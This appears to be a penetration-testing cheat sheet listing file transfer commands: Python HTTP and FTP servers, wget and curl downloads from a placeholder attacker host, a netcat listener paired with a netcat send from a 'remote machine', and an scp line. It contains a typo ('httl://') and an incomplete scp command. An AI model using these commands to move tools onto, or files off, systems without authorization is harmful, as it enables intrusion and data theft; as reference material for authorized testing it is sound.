Web Server:
python2 -m SimpleHTTPServer 8000
python3 -m http.server 8000
wget http://<lhost>:8000/<file>
curl httl://<lhost>:8000/<file> -O
FTP Server:
python -m pyftpdlib -p 21 -w
Netcat
nc -nvlp <lport> > file # local machine
nc -vn <lhost> <lport> < file # remote machine
SCP
scp <user>@<rhost>:/path